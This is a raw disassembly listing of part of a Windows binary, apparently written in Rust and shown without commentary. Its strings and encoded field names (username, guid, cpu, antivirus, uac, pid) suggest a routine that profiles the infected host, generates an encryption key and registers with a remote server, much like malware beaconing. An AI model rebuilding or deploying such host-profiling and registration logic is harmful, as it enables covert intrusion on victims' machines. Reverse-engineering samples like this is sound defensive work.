mov qword [rsp + 0x1348], rdx
and qword [rsp + 0x1350], 0
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x980]
call fcn.140038e09
cmp qword [rsp + 0x408], 0
je 0x14000cf11
mov rdx, qword [rsp + 0x410]
lea rcx, [rsp + 0x1340]
call fcn.140038c0f
mov rsi, qword [rsp + 0x1340]
mov r12, qword [rsp + 0x1350]
xor ebx, ebx
mov rax, qword [rsp + 0x310]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x10]
cmp r14, rbx
je 0x140008da6
mov r8, rbx
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_itertools_0.13.0_src_permutations.rs
call fcn.14003c22a
inc rbx
mov rax, qword [rax]
mov qword [rsi + r12*8], rax
inc r12
jmp 0x140008a9f
mov r15, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
mov rcx, r14
call fcn.14001806d
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], rdx
and qword [rsp + 0x410], 0
lea rcx, [rsp + 0x400]
mov rdx, r14
call fcn.140017eef
mov rax, qword [rsp + 0x410]
lea rcx, [rax*8]
add rcx, qword [rsp + 0x400]
xor edx, edx
cmp r14, rdx
je 0x140008b3e
mov qword [rcx + rdx*8], rdx
inc rdx
jmp 0x140008b30
add rax, rdx
movdqu xmm0, xmmword [rsp + 0x400]
movdqa xmmword [rsp + 0x980], xmm0
mov qword [rsp + 0x990], rax
lea rcx, [rsp + 0x980]
call fcn.140038a4d
mov rdi, rax
mov rsi, rdx
mov r13, r14
sub r13, qword [rsp + 0x170]
mov rax, r14
sub rax, r13
mov ebx, 0
cmovae rbx, rax
mov rcx, rbx
call fcn.14001806d
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], rdx
and qword [rsp + 0x410], 0
lea rcx, [rsp + 0x400]
mov rdx, rbx
call fcn.140017eef
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x410]
mov rdx, r14
cmp rdx, r13
jbe 0x140008bdd
dec rdx
mov qword [rcx + rax*8], rdx
inc rax
jmp 0x140008bcc
movdqu xmm0, xmmword [rsp + 0x400]
movdqa xmmword [rsp + 0x980], xmm0
mov qword [rsp + 0x990], rax
lea rcx, [rsp + 0x980]
call fcn.140038a4d
mov rbx, rax
mov r13, rdx
sub r14, r15
add r14, 2
dec r14
je 0x140008e89
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
mov r9, r13
call fcn.1400456b9
test al, al
je 0x140008c11
lea rcx, [rsp + 0x168]
call fcn.140001a16
mov qword [rsp + 0x168], 3
mov rcx, rbx
mov rdx, r13
call fcn.140080b8f
mov rcx, rdi
mov rdx, rsi
call fcn.140080b8f
mov rdi, qword [rsp + 0x98]
mov qword [rsp + 0x98], rdi
xor ecx, ecx
mov rdx, qword [rsp + 0xc8]
call fcn.140041ebe
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xc0], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor esi, esi
push 1
pop rax
mov qword [rsp + 0x40], rax
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
lea rcx, [rsp + 0x168]
call fcn.14000169a
lea rcx, [rsp + 0x980]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x148]
call fcn.1400eb6cd
lea rdi, [rsp + 0x9a8]
push 0x10
pop rbx
lea rcx, [rsp + 0x400]
mov rdx, qword [rsp + 0x40]
mov r8, rsi
call fcn.1400eb6cd
mov r12, qword [rsp + 0xe8]
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x1350], rax
movups xmm0, xmmword [rsp + 0x980]
movaps xmmword [rsp + 0x1340], xmm0
mov rax, qword [rsp + 0x410]
lea rcx, [rsp + 0x1358]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rcx], xmm0
mov rax, rbx
xor ecx, ecx
add rcx, qword [rsp + rax + 0x1340]
add rax, 0x18
cmp rax, 0x40
jne 0x140008d47
call fcn.140018028
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], rdx
and qword [rsp + 0x410], 0
mov rax, rbx
lea rsi, [rax + 0x18]
cmp rsi, 0x58
je 0x140008ddf
mov rdx, qword [rsp + rax + 0x1330]
mov r8, qword [rsp + rax + 0x1340]
lea rcx, [rsp + 0x400]
call fcn.140017fe8
mov rax, rsi
jmp 0x140008d7a
mov r8, rdi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_itertools_0.13.0_src_permutations.rs
call fcn.14003c22a
mov rax, qword [rax]
mov rdi, r12
mov qword [rsi + r12*8], rax
inc rdi
mov rax, qword [rsp + 0x1348]
mov qword [rsp + 0xc8], rax
inc qword [rsp + 0x178]
jmp 0x14000a129
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r14
mov r13, qword [rsp + 0x400]
mov r14, qword [rsp + 0x408]
mov rsi, qword [rsp + 0x410]
mov rcx, rdi
call fcn.14009c01d
mov byte [rsp + 0x9e8], 0
movdqu xmmword [rsp + 0x990], xmm8
movups xmmword [rsp + 0x980], xmm9
and qword [rsp + 0x9a0], 0
lea rax, [rsp + 0x980]
mov qword [rsp + 0x400], rax
cmp rsi, 0x3f
ja 0x140008efc
mov rcx, rdi
xor edx, edx
lea r8, [0x140169a50]
call fcn.14009c074
mov rcx, rax
mov r8, rsi
lea r9, [0x140169a68]
call fcn.14004fc03
lea rcx, [0x140169a80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, r13
mov r9, rsi
call fcn.1400c5168
jmp 0x140008f56
mov r8, qword [rsp + 0x170]
mov rcx, rdi
mov rdx, rsi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_itertools_0.13.0_src_permutations.rs
call fcn.14004e716
mov r9, rdx
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x190]
mov r8, rax
call fcn.14003c249
lea rcx, [rsp + 0x168]
call fcn.140001a16
mov qword [rsp + 0x168], 2
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], r13
jmp 0x140009fa4
mov r8, rsi
shr r8, 6
lea rcx, [rsp + 0x400]
mov rdx, r13
call fcn.14009c0b1
mov edi, esi
and edi, 0x3f
lea rcx, [rsp + 0x9a8]
push 0x40
pop rdx
mov r8, rdi
lea r9, [0x140169a20]
call fcn.14004fc03
and rsi, 0xffffffffffffffc0
add rsi, r13
lea rcx, [0x140169a38]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.1400c5168
mov rsi, rdi
mov byte [rsp + 0x9e8], sil
push 0xe
pop rcx
lea rbx, [rsp + 0x400]
mov rdi, rbx
lea rsi, [rsp + 0x980]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x1820]
call fcn.14009c030
lea rcx, [rsp + 0x310]
call fcn.14009c030
mov qword [rsp + 0x168], rbx
movzx esi, byte [rsp + 0x468]
mov rbx, qword [rsp + 0x420]
mov byte [rsp + rsi + 0x428], 0x80
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x428]
lea r8, [0x140169a98]
call fcn.14009c074
shl rbx, 9
lea rdi, [rsi*8]
or rdi, rbx
bswap rdi
xor ecx, ecx
cmp rdx, rcx
je 0x140008feb
mov byte [rax + rcx], 0
inc rcx
jmp 0x140008fdd
not esi
test sil, 0x38
jne 0x140009032
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0x428]
call fcn.14009c0a3
lea rsi, [rsp + 0xf40]
mov rcx, rsi
call fcn.14009c01d
mov qword [rsp + 0xf78], rdi
lea rcx, [rsp + 0x168]
mov rdx, rsi
call fcn.14009c0a3
jmp 0x14000904f
mov qword [rsp + 0x460], rdi
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0x428]
call fcn.14009c0a3
mov byte [rsp + 0x468], 0
mov rsi, qword [rsp + 0x168]
xor edi, edi
cmp rdi, 0x20
je 0x1400090a3
lea rcx, [rsp + rdi]
add rcx, 0x310
mov eax, dword [rsi + rdi]
bswap eax
mov dword [rsp + 0xf40], eax
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_sha2_0.10.8_src_core_api.rs
mov qword [rsp + 0x20], rax
push 4
pop rdx
lea r8, [rsp + 0xf40]
mov r9, rdx
call fcn.1400c5168
add rdi, 4
jmp 0x140009061
movdqu xmm0, xmmword [rsp + 0x310]
movups xmm1, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x400], xmm0
movaps xmmword [rsp + 0x410], xmm1
mov qword [rsp + 0x980], 1
lea rax, [rsp + 0x988]
movdqu xmmword [rax], xmm6
lea rcx, [rsp + 0x980]
push 0x40
pop rdx
call fcn.140015572
mov esi, 0x110000
xor edi, edi
cmp esi, 0x110000
jne 0x14000912a
cmp rdi, 0x20
je 0x14000926a
movzx eax, byte [rsp + rdi + 0x400]
inc rdi
mov ecx, eax
shr ecx, 4
lea rdx, [0x14016996f]
movzx esi, byte [rcx + rdx]
and eax, 0xf
movzx ebx, byte [rax + rdx]
jmp 0x14000912f
mov ebx, 0x110000
cmp esi, 0x80
jae 0x14000917c
mov rdx, qword [rsp + 0x990]
cmp rdx, qword [rsp + 0x988]
jne 0x14000915e
lea rcx, [rsp + 0x980]
call fcn.14009c03b
mov rdx, qword [rsp + 0x990]
mov rax, qword [rsp + 0x980]
mov byte [rax + rdx], sil
inc rdx
mov qword [rsp + 0x990], rdx
mov esi, ebx
jmp 0x1400090f4
and dword [rsp + 0xf40], 0
mov eax, esi
cmp esi, 0x800
jae 0x1400091ae
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xf40], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xf41], sil
push 2
jmp 0x140009224
cmp esi, 0x10000
jae 0x1400091e6
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xf40], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xf41], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xf42], sil
push 3
jmp 0x140009224
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xf40], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xf41], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xf42], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0xf43], sil
push 4
pop rsi
lea rcx, [rsp + 0x980]
mov rdx, rsi
call fcn.140015572
mov r15, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x980]
add rcx, r15
lea rdx, [rsp + 0xf40]
mov r8, rsi
call sub.msvcrt.dll_memcpy
add r15, rsi
mov qword [rsp + 0x990], r15
mov esi, ebx
jmp 0x1400090f4
mov rbx, qword [rsp + 0x980]
mov rdi, qword [rsp + 0x988]
mov rsi, qword [rsp + 0x990]
mov rcx, r13
mov rdx, r14
call fcn.140030983
cmp rsi, 0x20
jbe 0x1400092a6
cmp byte [rbx + 0x20], 0xbf
mov r14, qword [rsp + 0x100]
jg 0x1400092b4
jmp 0x14000cf7f
mov r14, qword [rsp + 0x100]
jne 0x14000cf7f
push 0x20
pop rcx
call fcn.140018028
mov qword [rsp + 0x148], rdx
mov rsi, rax
movdqu xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
lea rcx, [rsp + 0x1340]
call fcn.140001a73
call fcn.14000e3a0
lea rdi, [rsp + 0x980]
sub rax, r14
mov qword [rsp + 0x310], rax
mov rcx, rdi
mov rdx, rsi
push 0x20
pop r8
call fcn.1400456ae
lea rax, [rsp + 0x310]
mov qword [rsp + 0xf40], rax
lea rax, [fcn.140019e50]
mov qword [rsp + 0xf48], rax
lea rax, str.Generated_encryption_key_in_s:
mov qword [rsp + 0x400], rax
push 2
pop rcx
mov qword [rsp + 0x408], rcx
and qword [rsp + 0x420], 0
mov qword [rsp + 0xf50], rdi
lea rax, [0x1400180f4]
mov qword [rsp + 0xf58], rax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rcx
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rcx, qword [rsp + 0x980]
mov rdx, qword [rsp + 0x988]
call fcn.1400f09e1
mov rbx, qword [rsp + 0x1340]
mov rdi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, [0x1401295e2]
push 7
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
mov qword [rsp + 0x20], 0x20
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x17c0]
mov r8, qword [rsp + 0x1f0]
mov r9, rsi
call fcn.1400426c0
lea rdi, [rsp + 0x980]
mov rcx, rdi
lea rdx, [rsp + 0x400]
lea r8, [0x14012a1f8]
call fcn.140001eb0
lea rcx, [rsp + 0x168]
mov rdx, rdi
call fcn.14000335b
and qword [rsp + 0x310], 0
and qword [rsp + 0x320], 0
push 8
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
movabs rax, 0x64695f646c697562
mov qword [rdi], rax
mov qword [rsp + 0x1340], rdi
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 8
lea r14, [rsp + 0x400]
mov rcx, r14
lea rdx, str.debug
push 5
pop r8
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 7
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov dword [rax + 3], 0x6e6f6973
mov dword [rax], 0x73726576
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 7
mov byte [rsp + 0x400], 2
and qword [rsp + 0x408], 0
mov qword [rsp + 0x410], 0xa
lea r15, [rsp + 0x980]
mov rcx, r15
lea r14, [rsp + 0x400]
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 3
pop rcx
call fcn.140018028
mov byte [rax + 2], 0x63
mov word [rax], 0x6175
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 3
mov word [rsp + 0x400], 1
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
lea r9, [rsp + 0x400]
call fcn.140099b66
lea rcx, [rsp + 0x980]
call fcn.140001aa2
push 8
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
movabs rax, 0x656d616e72657375
mov qword [rdi], rax
mov qword [rsp + 0x1340], rdi
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 8
lea r14, [rsp + 0x400]
mov rcx, r14
mov rdx, qword [rsp + 0x2c8]
mov r8, qword [rsp + 0xf28]
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 4
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov dword [rax], 0x64697567
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 4
mov rdx, qword [rsp + 0xd88]
mov r8, qword [rsp + 0xd98]
lea r14, [rsp + 0x400]
mov rcx, r14
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 3
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov byte [rax + 2], 0x75
mov word [rax], 0x7063
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 3
mov rdx, qword [rsp + 0xdb8]
mov r8, qword [rsp + 0xdc8]
lea r14, [rsp + 0x400]
mov rcx, r14
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 3
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov byte [rax + 2], 0x75
mov word [rax], 0x7067
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 3
mov rdx, qword [rsp + 0xda0]
mov r8, qword [rsp + 0xdb0]
lea r14, [rsp + 0x400]
mov rcx, r14
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 3
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov byte [rax + 2], 0x6d
mov word [rax], 0x6172
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 3
mov byte [rsp + 0x400], 2
and qword [rsp + 0x408], 0
mov rax, qword [rsp + 0xf20]
mov qword [rsp + 0x410], rax
lea r15, [rsp + 0x980]
mov rcx, r15
lea r14, [rsp + 0x400]
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 9
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
movabs rax, 0x7572697669746e61
mov qword [rdi], rax
mov byte [rdi + 8], 0x73
mov qword [rsp + 0x1340], rdi
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 9
lea r14, [rsp + 0x400]
mov rcx, r14
mov rdx, qword [rsp + 0x140]
mov r8, qword [rsp + 0x8f8]
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 4
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov dword [rax], 0x68746170
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 4
lea r14, [rsp + 0x400]
mov rcx, r14
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x218]
call fcn.140045346
lea r15, [rsp + 0x980]
mov rcx, r15
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
push 3
pop rcx
call fcn.140018028
mov rdi, rax
mov rbx, rdx
mov byte [rax + 2], 0x64
mov word [rax], 0x6970
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rdx
mov qword [rsp + 0x1350], 3
mov byte [rsp + 0x400], 2
and qword [rsp + 0x408], 0
mov rax, qword [rsp + 0xf18]
mov qword [rsp + 0x410], rax
lea r15, [rsp + 0x980]
mov rcx, r15
lea r14, [rsp + 0x400]
mov rdx, r14
lea r8, [0x14012a218]
call fcn.140001d77
mov rcx, r14
lea rdx, [rsp + 0x310]
lea r8, [rsp + 0x1340]
mov r9, r15
call fcn.140099b66
mov rcx, r14
call fcn.140001aa2
mov rax, qword [rsp + 0x320]
lea rcx, [rsp + 0xf48]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmmword [rcx], xmm0
mov byte [rsp + 0xf40], 5
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0xf40]
call fcn.140001540
mov rdi, qword [rsp + 0x400]
mov r8, qword [rsp + 0x410]
mov qword [rsp + 0x20], 0x20
lea rbx, [rsp + 0x980]
mov rcx, rbx
mov rdx, rdi
mov r9, rsi
call fcn.14000e408
lea rcx, [rsp + 0x1820]
mov rdx, rbx
lea r8, [0x14012a248]
call fcn.140001f06
mov rdx, qword [rsp + 0x408]
mov rcx, rdi
call fcn.1400f09e1
lea rdi, [rsp + 0xf40]
mov rcx, rdi
call fcn.14000186b
lea rbx, [rsp + 0x400]
lea rax, [rsp + 0x168]
mov qword [rsp + 0x980], rax
lea rdx, [0x140002e1b]
mov qword [rsp + 0x988], rdx
lea rax, str.invalid_type:___expected
mov qword [rsp + 0x400], rax
push 2
pop rcx
mov qword [rsp + 0x408], rcx
and qword [rsp + 0x420], 0
lea rax, [rsp + 0x1820]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], rdx
lea rax, [rsp + 0x980]
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rcx
mov rcx, rdi
mov rdx, rbx
call fcn.140002919
mov r13, qword [rsp + 0xf40]
mov r14, qword [rsp + 0xf48]
mov rdi, qword [rsp + 0xf50]
mov rcx, rbx
call fcn.1400de2b7
lea rcx, [rsp + 0x980]
mov rdx, rbx
mov r8, r13
mov r9, rdi
call fcn.1400d46c3
cmp dword [rsp + 0x980], 3
jne 0x140009d3a
lea rdi, [rsp + 0x400]
mov rcx, rdi
lea rdx, [rsp + 0x988]
call fcn.1400ca0c3
lea rcx, [rsp + 0x310]
mov rdx, rdi
lea r8, [0x14012a260]
call fcn.140001e45
mov rdx, qword [rsp + 0x310]
mov r8, qword [rsp + 0x320]
mov qword [rsp + 0x20], 0x20
lea rcx, [rsp + 0x1340]
mov r9, rsi
call fcn.14000eb09
mov rdi, qword [rsp + 0x1340]
test rdi, rdi
jne 0x14000c79e
mov al, byte [rsp + 0x1348]
mov byte [rsp + 0x220], al
lea rax, [rsp + 0x220]
mov qword [rsp + 0x980], rax
lea rax, [0x140003447]
mov qword [rsp + 0x988], rax
lea rax, str.Unable_to_decrypt_registration_response._Error:___Raw_Response:
mov qword [rsp + 0x400], rax
push 2
pop rcx
mov qword [rsp + 0x408], rcx
and qword [rsp + 0x420], 0
lea rax, [rsp + 0x310]
mov qword [rsp + 0x990], rax
lea rax, [0x140002e1b]
mov qword [rsp + 0x998], rax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rcx
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rbx, qword [rsp + 0xf40]
mov rdi, qword [rsp + 0xf48]
mov r9, qword [rsp + 0xf50]
lea rcx, str.error
push 5
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
mov rcx, qword [rsp + 0x310]
mov rdx, qword [rsp + 0x318]
call fcn.1400f09e1
jmp 0x140009e01
mov r8d, 0x110
lea rdi, [rsp + 0x400]
mov rcx, rdi
lea rdx, [rsp + 0x980]
call sub.msvcrt.dll_memcpy
lea rax, str.Unable_to_submit_registration._Error:
mov qword [rsp + 0xf40], rax
push 1
pop rax
mov qword [rsp + 0xf48], rax
and qword [rsp + 0xf60], 0
mov qword [rsp + 0x220], rdi
lea rcx, [0x1400e0da1]
mov qword [rsp + 0x228], rcx
lea rcx, [rsp + 0x220]
mov qword [rsp + 0xf50], rcx
mov qword [rsp + 0xf58], rax
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0xf40]
call fcn.140002919
mov rbx, qword [rsp + 0x1340]
mov rdi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
lea rcx, [rsp + 0x400]
call fcn.14000170a
mov rcx, r13
mov rdx, r14
call fcn.1400f09e1
mov rcx, qword [rsp + 0x1820]
mov rdx, qword [rsp + 0x1828]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
call fcn.1400f09e1
mov rcx, rsi
mov rdx, qword [rsp + 0x148]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x968]
mov rdx, qword [rsp + 0x970]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x950]
mov rdx, qword [rsp + 0x958]
call fcn.1400f09e1
lea rcx, [rsp + 0xdd0]
call fcn.14000186b
mov r14, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x938]
mov rcx, qword [rsp + 0x820]
mov rdx, qword [rsp + 0x828]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x838]
mov rdx, qword [rsp + 0x840]
call fcn.1400f09e1
mov rdx, qword [rsp + 0x940]
mov rcx, rsi
call fcn.1400f09e1
lea rcx, [rsp + 0x17c0]
call fcn.1400017fb
mov rcx, qword [rsp + 0x1f0]
call fcn.14005343f
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400f09e1
mov rax, qword [rsp + 0x2d8]
mov dword [rsp + 0x2d8], eax
mov eax, dword [rsp + 0x30c]
mov dword [rsp + 0x150], eax
mov qword [rsp + 0x40], r14
mov r15, qword [rsp + 0x78]
mov rbx, r12
mov r14, qword [rsp + 0x1f8]
jmp 0x1400069f5
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
mov r9, qword [rsp + 0x188]
call fcn.1400456b9
test al, al
jne 0x140009fd2
mov r8, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_itertools_0.13.0_src_permutations.rs
call fcn.14004e716
mov r9, rdx
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x190]
mov r8, rax
call fcn.14003c249
mov rsi, qword [rsp + 0x400]
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0xc8], rax
mov rdi, qword [rsp + 0x410]
test rsi, rsi
jne 0x14000a129
jmp 0x140008c66
lea rcx, [rsp + 0x168]
call fcn.140001a16
jmp 0x14000a251
lea rcx, [rsp + 0x168]
call fcn.140001a16
mov qword [rsp + 0x168], 3
xor eax, eax
mov qword [rsp + 0xc8], rax
xor edi, edi
push 8
pop rsi
jmp 0x14000a129
mov rdi, qword [rsp + 0x170]
test rdi, rdi
je 0x140009fe4
mov rsi, qword [rsp + 0x1a0]
mov rbx, rsi
sub rbx, rdi
jae 0x14000a0b8
mov r14, rdi
sub r14, rsi
mov rax, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1b0]
sub rdx, rax
test rax, rax
cmove rdx, rax
cmp rdx, r14
cmovae rdx, r14
lea rcx, [rsp + 0x190]
call fcn.140038c0f
mov rsi, qword [rsp + 0x1a0]
test r14, r14
je 0x14000a0b8
mov rdx, qword [rsp + 0x1a8]
test rdx, rdx
je 0x14000a0b8
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x1b0]
cmp rdx, rcx
je 0x14000a0b0
lea r8, [rdx + 1]
mov qword [rsp + 0x1a8], r8
mov qword [rax + rsi*8], rdx
inc rsi
mov rdx, r8
inc rbx
jne 0x14000a090
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x168]
call fcn.140001a16
cmp rsi, rdi
jne 0x14000a251
mov qword [rsp + 0x168], 1
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rdi
mov rdx, qword [rsp + 0x1a0]
cmp rdx, rdi
jb 0x14000cea3
mov rbx, qword [rsp + 0x190]
mov rcx, rdi
call fcn.140042429
mov qword [rsp + 0xc8], rdx
mov rsi, rax
lea r8, [rdi*8]
mov rcx, rax
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
mov r8, rsi
mov r9, rdi
call fcn.14003fe22
mov r12, rax
mov rbx, qword [rsp + 0x1b8]
mov r14, qword [rsp + 0x1c0]
mov r15, r14
and r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm10, xmm0, 0
xor r13d, r13d
mov qword [rsp + 0x98], rdi
movdqu xmm11, xmmword [rbx + r15]
movdqa xmm0, xmm11
pcmpeqb xmm0, xmm10
pmovmskb eax, xmm0
mov word [rsp + 0x400], ax
lea rcx, [rsp + 0x400]
call fcn.140038fc1
test rax, rax
je 0x14000a1f0
add rdx, r15
and rdx, r14
neg rdx
imul rax, rdx, 0x18
mov rcx, qword [rsp + 0x98]
cmp qword [rbx + rax - 8], rcx
jne 0x14000a19b
add rax, rbx
mov rax, qword [rax - 0x18]
xor ecx, ecx
cmp qword [rsp + 0x98], rcx
je 0x14000a219
